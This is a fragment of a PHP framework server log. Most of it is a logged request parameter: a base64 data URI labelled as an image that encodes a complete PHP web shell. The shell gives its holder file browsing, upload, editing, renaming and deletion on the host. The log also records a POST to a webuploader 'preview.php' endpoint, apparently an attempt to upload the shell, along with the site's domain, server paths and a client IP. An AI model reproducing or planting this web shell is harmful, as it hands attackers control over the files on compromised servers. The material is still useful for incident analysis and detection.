'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:40+08:00 ] 116.213.36.234 POST www.51tianwei.com/library/webuploader/0.1.15/server/preview.php [运行时间:0.003115s] [吞吐率:321.03req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'library', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 